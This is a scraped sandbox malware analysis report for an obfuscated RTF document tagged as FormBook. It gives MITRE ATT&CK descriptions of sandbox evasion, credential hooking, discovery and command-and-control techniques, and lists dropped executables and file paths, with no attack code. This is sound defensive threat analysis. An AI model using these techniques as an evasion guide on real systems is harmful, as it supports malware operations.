Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: FormBook

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Exploits

Snort Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\balokarat2.1[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\balokarat2.1[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{0D330375-5D52-4CE9-AF5C-85661FFB8049}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{549C67C8-FC54-4D4D-BB29-D3A79D220C79}.tmp

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A1C61DD4-6598-4E95-AD1C-193CE4549D36}.tmp

C:\Users\user\AppData\Local\Temp\twbcaze.exe

C:\Users\user\AppData\Local\Temp\vieaa.phf

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.LNK

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Windows Analysis Report
SecuriteInfo.com.RTF.Obfuscated-gen.19663.16514.rtf

Function 004030FB Relevance: 82.6, APIs: 27, Strings: 20, Instructions: 315
stringfilecomCOMMON

Function 004054BD Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Function 004061D4 Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Function 00405E93 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Function 00403981 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre